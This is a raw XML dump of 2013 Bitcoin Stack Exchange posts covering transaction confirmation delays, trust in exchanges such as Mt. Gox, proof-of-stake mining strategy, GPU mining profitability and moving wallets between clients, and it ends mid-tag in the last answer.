  <row Id="9534" PostTypeId="1" AcceptedAnswerId="9539" CreationDate="2013-04-10T21:32:58.043" Score="-2" ViewCount="9108" Body="&lt;p&gt;I sent some bitcoins to an address.&#xA;The transaction seems to have been executed, and I do have a transaction hash; but when I search for it on &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt; it says &quot;transaction not found&quot;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where did it go?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be worried? The transaction was processed at 04/10/2013 20:38 - about 3 hours ago now. Isn't that too long?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not add any transaction fee, because there is no option for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transfer was started from bitcoin-central.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the money finally arrived, I guess i could slightly rewrite the question such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can there be such a (long) latency from the moment a transaction is executed (eg. I get a transaction hash) to the moment the transaction is seen on the system (eg. blockchain.info)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can it be that it is not showing (hours later, not seconds later)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know the hash I got is valid/real?&lt;/p&gt;&#xA;" OwnerUserId="3344" LastEditorUserId="3344" LastEditDate="2013-04-14T12:31:18.653" LastActivityDate="2013-04-14T12:31:18.653" Title="Transaction not found" Tags="|transactions|" AnswerCount="1" CommentCount="6" ClosedDate="2013-04-21T20:15:34.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="9535" PostTypeId="1" CreationDate="2013-04-10T21:41:23.893" Score="5" ViewCount="297" Body="&lt;p&gt;After reading the question &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9411/what-are-ways-a-btc-exchange-could-steal-from-its-customers-and-how-can-they-pr&quot;&gt;What are ways a BTC Exchange could steal from its customers, and how can they protect themselves?&lt;/a&gt;, it would seem that you can't really trust the big exchanges (or anyone) all that much.  This begs a few questions:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do we know that the big exchanges aren't manipulating the price of bitcoin?&lt;/li&gt;&#xA;&lt;li&gt;Is there really any safe way to acquire bitcoins without mining them yourself?&lt;/li&gt;&#xA;&lt;li&gt;Even if they (for some reason) can be trusted, is there any reason at some point they couldn't do fraudulent things? Mt.Gox apparently handles over 80% of bitcoin trade, and so it seems like they would conceivably be able to move coins between random addresses that they own, and then claim these movements were transactions above market price.  They would then be able to inflate the value of bitcoin (at least on Mt.Gox), and then the other exchanges would find their prices moving to match that on Mt.Gox.  What's stopping them from doing this?&lt;/li&gt;&#xA;&lt;li&gt;Why is Mt.Gox the largest exchange?  I feel like people would have a harder time trusting a company in a foreign country.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4193" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-10T22:54:50.557" Title="How can we trust big exchanges?" Tags="|exchanges|exchange-rate|trust|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-17T03:21:13.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="9536" PostTypeId="2" ParentId="9520" CreationDate="2013-04-10T22:23:59.217" Score="2" Body="&lt;p&gt;Intersango is on Github.  Here is a thread on a forum on how to set up your own bitcoin exchange - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=35812.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=35812.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2013-04-10T22:23:59.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9538" PostTypeId="2" ParentId="9535" CreationDate="2013-04-10T22:54:50.557" Score="2" Body="&lt;p&gt;There are multiple exchanges each with its own BTC/USD (or other currency pair) , so arbitrage between exchanges is what keeps prices among exchange inline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are short term disruptions when those providing arbitrage are out of cash (for buying) and a lesser disruption for moving bitcoins (for selling).  The selling limitation is smaller because bitcoin transactions confirm in about an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are permanent price deltas between exchanges due to the cost of moving funds and trading fees.  For instance, it is hard to get USDs to BTC-e, and therefore the selling there can be relatively far below the exchange rate at Mt. Gox -- a difference as much as 10%.  But the direction up and down are generally in sync thanks to arbitrage.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T22:54:50.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9539" PostTypeId="2" ParentId="9534" CreationDate="2013-04-10T23:00:30.473" Score="2" Body="&lt;p&gt;Your account at Bitcoin-Central is a hosted (shared) E-Wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that you are not withdrawing your bitcoins, you are sending a request to the E-Wallet provider to withdraw your bitcoins.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for whatever reason that E-Wallet provider is unable to service that request immediately (for example, their hot wallet is depleted and they need to wait until business hours to get access to the bank vault to be able reload from cold storage) then the site might provide to you confirmation of your withdrawal request but that doesn't mean a Bitcoin transaction was broadcast to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a transaction hash, and that transaction is broadcast, then you should see it on Blockchain.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the problem is with the E-Wallet provider.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-13T22:39:19.130" LastActivityDate="2013-04-13T22:39:19.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9540" PostTypeId="1" CreationDate="2013-04-10T23:09:00.450" Score="3" ViewCount="1586" Body="&lt;p&gt;Alice, Bob and Charlie each own 100 PPCoin, and would like to generate more using &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;nofollow&quot;&gt;Proof of Stake&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice keeps her &lt;code&gt;ppcoind&lt;/code&gt; running all the time&lt;/li&gt;&#xA;&lt;li&gt;Bob stores them offline for a year, and then runs &lt;code&gt;ppcoind&lt;/code&gt; for a week&lt;/li&gt;&#xA;&lt;li&gt;Charlie uses some other arbitrary &quot;strategy&quot;, where I define a strategy by a sequence of ON/OFF schedules, that can possibly depend on whether he finds coins in previous schedules. (Technically it's a decision tree).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would all the above, on average, achieve equal expected amount of PPCoins in their wallets? Is there a dominant strategy? What about a combination of maximum expected value and security (running your client 24/7 might yield the max amount of PPCoins, but it's also the most volunerable one (wallet must be decrypted for coin generation)).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-11T03:15:13.893" Title="Are all strategies to mine PPCoin Proof of Stake blocks equivalent?" Tags="|peercoin|proof-of-stake|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9541" PostTypeId="2" ParentId="9505" CreationDate="2013-04-10T23:11:11.087" Score="2" Body="&lt;p&gt;When Mt. Gox initiates the demand for verification your account is essentially frozen for withdrawals until you send in the required identification (color photo ID and whatever else they want) and your account gets verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions from the link you provided will clearly state what is needed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, it might state&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;VALID Photo ID Proof (Identity card, license, passport,...)&lt;/li&gt;&#xA;  &lt;li&gt;Residence Proof (utility bill, tax return, insurance,...)&#xA;  ISSUED WITHIN 6 MONTHS&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the color photo ID, even a pic of the ID taken with a phone is usually sufficient.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T23:11:11.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9542" PostTypeId="2" ParentId="9532" CreationDate="2013-04-10T23:59:59.150" Score="2" Body="&lt;p&gt;If your transaction doesn't confirm, and the sender (blockchain.info/wallet, in this instance) doesn't re-broadcast the transaction then the transaction should disappear from your wallet, as if it had never been made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may take a day or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction is being re-broadcast by the sender then it can stay there as long as the re-broadcasts are occurring.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-10T23:59:59.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9543" PostTypeId="2" ParentId="9508" CreationDate="2013-04-11T00:09:51.040" Score="0" Body="&lt;p&gt;Bitcoins are never really &quot;sent&quot; anywhere.   That is the simplest method for the Bitcoin client to emulate the way we use cash today.   When I pay you, I give you cash and after that I no longer have it and you now have it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With bitcoin, spend transactions are broadcast to peer nodes, and from there each node relays the transactions to other peer nodes.  Within seconds the transaction is known by nodes around the world.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each node is like a ledger that holds a history of transactions.   So each node can know if the funds have already been spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's all that a valid transaction consists of -- an assignment of previously unspent funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin-Qt/bitcoind client and E-wallet services just make it seem familar by making it look like bitcoins are magically transferring from one person to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in reality, each transaction is simply an entry in a ledger, replicated tens of thousands of times on nodes located around the world.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-11T00:09:51.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9544" PostTypeId="1" AcceptedAnswerId="10666" CreationDate="2013-04-11T00:34:53.507" Score="29" ViewCount="5143" Body="&lt;p&gt;I'm trying to learn how &lt;a href=&quot;http://en.wikipedia.org/wiki/Chaum_digital_cash&quot;&gt;Chaum-style ecash worked&lt;/a&gt; specifically how:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;the issuer does a blind signature on a serial number&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried looking up on Wikipedia but the page is pretty light on the details, and all the pages don't work (even the Wayback machine pages are broken)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-05-07T13:53:31.460" Title="How does Chaum style e-cash work? (all the Wiki links are broken)" Tags="|alternatives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9546" PostTypeId="2" ParentId="9532" CreationDate="2013-04-11T00:54:22.193" Score="0" Body="&lt;p&gt;If you click on unconfirmed it will show the progress of the transaction. I notice I am a little late replying (you posted 3 hours ago) it should have completed by now if you check again.&lt;/p&gt;&#xA;" OwnerUserId="4202" LastActivityDate="2013-04-11T00:54:22.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9547" PostTypeId="1" AcceptedAnswerId="9548" CreationDate="2013-04-11T01:01:41.473" Score="1" ViewCount="415" Body="&lt;p&gt;Right now I see on mtgox the lowest price as 105$ and the last price 165$ but when I want to buy by the price of 105$ I can not do so, the only option is 165$.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I understand wrongly?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1475" LastEditDate="2013-04-19T07:44:34.893" LastActivityDate="2013-04-19T07:44:34.893" Title="Can anyone explain me why I can not buy coins at the advertised price" Tags="|mtgox|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9548" PostTypeId="2" ParentId="9547" CreationDate="2013-04-11T01:10:13.280" Score="4" Body="&lt;p&gt;That was the lowest price in the past day, not the market price.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2013-04-11T01:10:13.280" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9549" PostTypeId="2" ParentId="9547" CreationDate="2013-04-11T01:35:32.767" Score="3" Body="&lt;p&gt;Look at this chart: &lt;a href=&quot;https://data.mtgox.com/api/0/png/24hours.png?Currency=USD&quot; rel=&quot;nofollow&quot;&gt;https://data.mtgox.com/api/0/png/24hours.png?Currency=USD&lt;/a&gt; The bars represent the current buying price, and the current selling price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now there's a big difference between the price that you can sell bitcoins at, and the price that you can buy bitcoins at. This is called the spread, and it occurs because people aren't sure how to value bitcoins right now.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-11T01:35:32.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9550" PostTypeId="2" ParentId="9540" CreationDate="2013-04-11T02:47:20.893" Score="1" Body="&lt;p&gt;alice finds the most blocks. 520 confirmations + 30 days of no-stake makes a maximum of 12 blocks per year from the same coins. compound interest makes no impact at all with 12 compounds and 1% ROI .she makes max 1.00437%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bob makes a perfect 1.00% but loses a lot of stake and risks not finding a bloc in that week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;charlie makes 1.00-1.00437% depending how often he finds blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually, they can find much more blocks, as parts of wallet have different age, but its just as running many wallets, there is no difference in maths.&lt;/p&gt;&#xA;" OwnerUserId="4207" LastActivityDate="2013-04-11T02:47:20.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9551" PostTypeId="1" CreationDate="2013-04-11T02:49:04.283" Score="4" ViewCount="41843" Body="&lt;p&gt;Now, this is my disclaimer: I'm very, very inexperienced with trading and general concepts of finance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I understand it, the only way to make money from bitcoin is either to mine them yourself, or to trade them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the way I see to make money from trading is to buy btc with dollars when they are at a certain value, then wait and hope that they rise in value, then sell them back for more dollars. How else does one &quot;trade&quot; bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me a simple answer? Perhaps just some key concepts that I can look up for myself.&lt;/p&gt;&#xA;" OwnerUserId="4208" LastActivityDate="2013-11-29T13:54:25.960" Title="How Does One Make Money from Bitcoin Trading?" Tags="|trading|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9553" PostTypeId="2" ParentId="9551" CreationDate="2013-04-11T03:41:00.377" Score="9" Body="&lt;p&gt;If you buy Bitcoins at one price and then sell them for a higher price, you make a profit of the difference between those two prices, less any commission that you paid. However, if the price goes down, you will be in the uncomfortable position of having to either sell them for a loss or hold and hope the price goes back up while risking higher and higher losses if the price continues to drop. Before the current rise to over $200, Bitcoins once dropped from $35 each to $2 each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm saying is that you should definitely not invest any money you cannot afford to lose, understand that you may have to take a big loss if you're forced to sell out when the market is weak, and also realize that the entire Bitcoin economy could collapse at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue you have to consider is how you're going to store your Bitcoins. You can store them yourself using the Satoshi Bitcoin client. But then if your computer is hacked or your hard drive crashes and your wallet isn't properly backed up, you can lose everything. If you use an online wallet service, like the one built into most exchanges, there is always the risk that the service will go out of business or steal your funds and claim you withdrew them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is huge upside potential, but the risks should not be understated.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-11T03:41:00.377" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9554" PostTypeId="2" ParentId="9518" CreationDate="2013-04-11T03:42:14.007" Score="3" Body="&lt;p&gt;It's pointless. With that kind of hardware, it would take you on the order of a month to mine a dollar's worth of Bitcoins, and the electricity used would cost you many times that.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-11T03:42:14.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9555" PostTypeId="2" ParentId="9547" CreationDate="2013-04-11T03:55:30.573" Score="0" Body="&lt;p&gt;You can only buy Bitcoins at a price if someone is willing to sell them at that price. That a particular price is reported means something, but not necessarily that anyone is willing to sell or buy at that price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a healthy market, the buy and sell prices should be almost the same and there should be plenty of people willing to sell or buy at very close to the price at which the last transaction occurred. However, in this particular case, technical problems at Mt Gox caused the market not to be healthy and this general rule did not apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any event, the &quot;low&quot; price just reflects the lowest price at which a trade occurred at a particular exchange in a particular time interval.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-11T03:55:30.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9556" PostTypeId="1" AcceptedAnswerId="9560" CreationDate="2013-04-11T04:27:47.393" Score="0" ViewCount="237" Body="&lt;p&gt;wallet, g Bitcoin Wallet (official) for Android and I want to transfer my wallet from there, to Electrum on my desktop. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2013-04-11T06:33:26.353" Title="How do I transfer my wallet to a new one?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9557" PostTypeId="2" ParentId="336" CreationDate="2013-04-11T04:44:06.053" Score="4" Body="&lt;p&gt;The realistic, honest answer to this question is that Bitcoin is a &quot;Digital Commodity&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin cannot currently be described as a digital currency since it cannot, practically, fulfill the basic functions of a currency.  The wildly fluctuating USD/BTC exchange rate alone means there is price instability.  How would YOU like to offer your labour for a few BTCs only to find, the very next day, that you're going to get paid MUCH less (or MUCH more) in USD.  And, no, you can't ignore the USD/BTC exchange rate and just deal within the BTC community because everyone measure the REAL 'value' of BTC by the exhange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin can, and must, currently be described as a digital commodity with a wildly fluctuating, uncertain, speculative USD price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make no judgement about BTC's future usefulness as a genuine digital currency.  Just pointing out that what it IS (now) is very different to what it MIGHT be in future.&lt;/p&gt;&#xA;" OwnerUserId="4020" LastActivityDate="2013-04-11T04:44:06.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9558" PostTypeId="2" ParentId="148" CreationDate="2013-04-11T05:12:22.677" Score="1" Body="&lt;p&gt;The answers in this section all present different, useful perspectives.  Another useful, but non-technical perspective is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is a battle between those who want to see Bitcoin succeed for the greater good, and those who don't care if it is destroyed as long as they achieve some victory, even if only to be part of the destruction (they might not get any BTCs from their destructive efforts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, Bitcoin is a fascinating attempt to establish an alternate money system.  Since the P2P, decentralised architecture is integral to its success it is, by design, open to any participant.  The mining process assumes that some participants are evil.  It pitches 'good' against 'evil' in the hope that 'good' will continue to succeed and maintain the integrity of the network.&lt;/p&gt;&#xA;" OwnerUserId="4020" LastActivityDate="2013-04-11T05:12:22.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9559" PostTypeId="1" AcceptedAnswerId="9588" CreationDate="2013-04-11T06:19:37.057" Score="2" ViewCount="586" Body="&lt;p&gt;Say I have an account with MtGox, and I put $5k worth of bitcoins in there. The exchange rate subsequently goes up by 10%. Now my MtGox bitcoins are worth 5.5k. Can I exchange this for USD in my MtGox account, but let it sit in my MtGox account until I want to buy bitcoins again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is because I am in Australia, and MtGox charges a $10 fee (plus the 0.6%) to send to my bank account, and more importantly, it takes a few days to transfer. This means if I choose to buy BTC again, I have to transfer money from my bank account back into my MtGox account which also takes a few days. That's a turnaround time of almost a week, which would make &quot;day trading&quot; impossible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I have usd in my MtGox account without transferring it to my bank account, or having it in bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a newbie, obviously...&lt;/p&gt;&#xA;" OwnerUserId="4208" LastActivityDate="2013-04-11T15:17:11.317" Title="Do I Have to Cash Out?" Tags="|mtgox|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9560" PostTypeId="2" ParentId="9556" CreationDate="2013-04-11T06:33:26.353" Score="2" Body="&lt;p&gt;Instead of transferring the wallet, just transfer the bitcoins - i.e. on Android: Send the entire amount to your electrum-address.&lt;/p&gt;&#xA;" OwnerUserId="4213" LastActivityDate="2013-04-11T06:33:26.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9561" PostTypeId="2" ParentId="9512" CreationDate="2013-04-11T07:04:23.727" Score="2" Body="&lt;p&gt;In layman terms:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The 21M limit is programmed into all Bitcoin software&lt;/li&gt;&#xA;&lt;li&gt;The number is arbitrary. It could have been 42 million, or 84 million, or 100 million, or any other number.&lt;/li&gt;&#xA;&lt;li&gt;Now the number cannot be changed. If you changed your version of Bitcoin to follow a different limit, you would be creating a new currency. Example: Litecoin has a 84M limit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To break it down: it's 50 coins per block for the first 210,000 blocks, 25 coins per block for the next 210,000, 12.5 coins for the next, and so on, until it reaches 0 by the year 2140.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-11T07:04:23.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9562" PostTypeId="1" CreationDate="2013-04-11T07:53:42.580" Score="-2" ViewCount="5312" Body="&lt;p&gt;I think ASIC is the way to go. I am just making sure. By now you can no longer profitably mine bitcoins with GPU right?&lt;/p&gt;&#xA;" OwnerUserId="4217" LastEditorUserId="5406" LastEditDate="2016-04-10T10:08:45.247" LastActivityDate="2016-04-10T10:08:45.247" Title="FPGA ASIC vs Graphic Card" Tags="|mining-profitability|" AnswerCount="4" CommentCount="2" ClosedDate="2013-04-21T20:15:14.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="9563" PostTypeId="1" AcceptedAnswerId="9569" CreationDate="2013-04-11T08:13:31.790" Score="3" ViewCount="127" Body="&lt;p&gt;How operations from exchange and other ways of transferring bitcoins goes into 'system' (mining people)?&lt;/p&gt;&#xA;" OwnerUserId="4118" LastEditorUserId="5406" LastEditDate="2016-04-24T09:03:45.470" LastActivityDate="2016-04-24T09:03:45.470" Title="How do transactions get to miners?" Tags="|exchanges|transaction-propagation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9566" PostTypeId="1" CreationDate="2013-04-11T08:57:45.247" Score="2" ViewCount="1743" Body="&lt;p&gt;I have &lt;code&gt;bitcoin-qt-0.8.1-beta&lt;/code&gt; installed on a computer. I also have another computer in which I'd like to share the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, for backup purposes, I have exported the wallet into a backup file and saved it on cloud (the wallet is &lt;strong&gt;encrypted&lt;/strong&gt;!!!). Now I can retrieve this new wallet wherever I want. Given that the new workstation is secure enough to handle Bitcoins, I'd like to import the existing wallet file into the second computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see options for &lt;strong&gt;exporting&lt;/strong&gt; the wallet in bitcoin-qt, not vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this question is very similar to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4547/how-to-import-my-wallet&quot;&gt;How to import my wallet?&lt;/a&gt; but in my case I'm going to show my try-and-fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying wallet.dat wasn't successful onto a computer running &lt;code&gt;bitcoin-qt-0.8.1&lt;/code&gt; for Linux (notice that it's not the beta)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -debug&#xA;&#xA;&#xA;************************&#xA;EXCEPTION: St13runtime_error       &#xA;CDB() : can't open database file wallet.dat, error 22       &#xA;bitcoin in Runaway exception&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is always the same. Even salvaging the wallet doesn't help, because my old addresses don't appear. I repeat, I transferred wallet.dat across different versions of bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could think about dumping the private keys in the old client (which is still available and running, but not at my hand's reach), but I want to ask if there is a smart way to transfer an entire encrypted wallet from a computer to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the backup wallet option should be there for a reason, shouldn't it????&lt;/p&gt;&#xA;" OwnerUserId="1042" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-11T14:16:59.730" Title="Importing a backed-up encrypted wallet.dat" Tags="|bitcoin-core|backup|wallet.dat|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9567" PostTypeId="1" AcceptedAnswerId="9597" CreationDate="2013-04-11T09:11:17.360" Score="3" ViewCount="2220" Body="&lt;p&gt;I can't seem to find where to get my MtGox api key. I've been linked to &lt;a href=&quot;https://mtgox.com/settings/apps-and-api&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/settings/apps-and-api&lt;/a&gt;, but all I get is a blank page in the &quot;Access&quot; section. Do I need to verify my account in order to get API access? Is there any way I can get API access immediately without verifying my account if this is the case?&lt;/p&gt;&#xA;" OwnerUserId="3762" LastActivityDate="2013-04-11T16:51:46.733" Title="How do you get a mtgox api key?" Tags="|mtgox|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9569" PostTypeId="2" ParentId="9563" CreationDate="2013-04-11T11:21:21.450" Score="4" Body="&lt;p&gt;Computers running the Bitcoin software pass transactions from one to the other to rapidly distribute new transactions throughout the network. Miners accumulate transactions from the network to put into blocks that they mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; you can see new unconfirmed transactions scroll by on the bottom left.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-11T11:21:21.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9570" PostTypeId="2" ParentId="9562" CreationDate="2013-04-11T11:31:55.277" Score="1" Body="&lt;p&gt;At current prices you can actually still make a pretty decent profit mining on a GPU (try the Bitcoin mining calculator to see how much you'd be making with your card). But this situation may not last long... if BTC prices fall back to where they were a few weeks ago, the GPU profitability would be very endangered. Depending on how much you pay for electricity, whether you already own the cards or not, and the possibilities of you getting an ASIC/FPGA, you may still want to go the GPU route. But know that you may lose money (as in: never have the card pay for itself).&lt;/p&gt;&#xA;" OwnerUserId="4226" LastActivityDate="2013-04-11T11:31:55.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9572" PostTypeId="2" ParentId="9562" CreationDate="2013-04-11T12:26:12.610" Score="0" Body="&lt;p&gt;I still make $10 when it was at $230/btc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its profitable as long as it doesn't cost more than you make. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first look at speed, if you only can make .0001btc a day (&amp;lt;100Mhash), you'll never make much of anything. If you can make 1btc a day you'll maybe sell it and make the exchange rate (&amp;lt;2-4Mhash). If you can make 10btc a day and sell it you can make the exchange rate times ten. But for all of these, if it cost more than .0001, 1, and 10 bitcoin respectively to do it. Well your loosing money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not the hardware really (unless its super super super inefficient) its the speed at which you can mine. &lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-04-11T12:26:12.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9573" PostTypeId="2" ParentId="9562" CreationDate="2013-04-11T12:28:50.020" Score="0" Body="&lt;p&gt;By the time they are released, they won't be profitable anymore. The prices would likely drop to adjust to the number of ASIC miners in the network.&lt;/p&gt;&#xA;" OwnerUserId="4228" LastActivityDate="2013-04-11T12:28:50.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9576" PostTypeId="2" ParentId="9562" CreationDate="2013-04-11T12:43:42.060" Score="1" Body="&lt;p&gt;The best long term answer is to link to a mining profitability calculator like &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; from bitcoinx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I think it is also important to distinguish operating costs from capital costs. At today's prices, for most miners, it is definitely profitable to operate their GPU based mining hardware. There is an electricity cost, of course, but modern GPUs certainly provide enough hashing power to justify that electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bigger question in everyone's minds right now is whether investing in new GPU hardware is worth it right now. The general conclusion is no, but that conclusion does require a few assumptions. The first assumption for GPU unprofitability is that the BTC exchange ratio doesn't continue to explode upwards. If we had a sustained $500/BTC exhange ratio, it doesn't take a lot of hash power to be profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second assumption for GPU unprofitability is that the &lt;a 